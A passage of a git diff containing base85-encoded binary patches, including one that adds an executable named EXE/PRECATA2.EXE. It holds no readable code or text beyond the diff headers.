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 WcSR+94Zc1+z(GK~abUFz1pNhCJHB)P literal 0 HcmV?d00001 diff --git a/EXE/PRECATA2.EXE b/EXE/PRECATA2.EXE new file mode 100644 index 0000000000000000000000000000000000000000..f7c332e713c9dd43adc49cfefd15effeedc7da95 GIT binary patch literal 37057 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 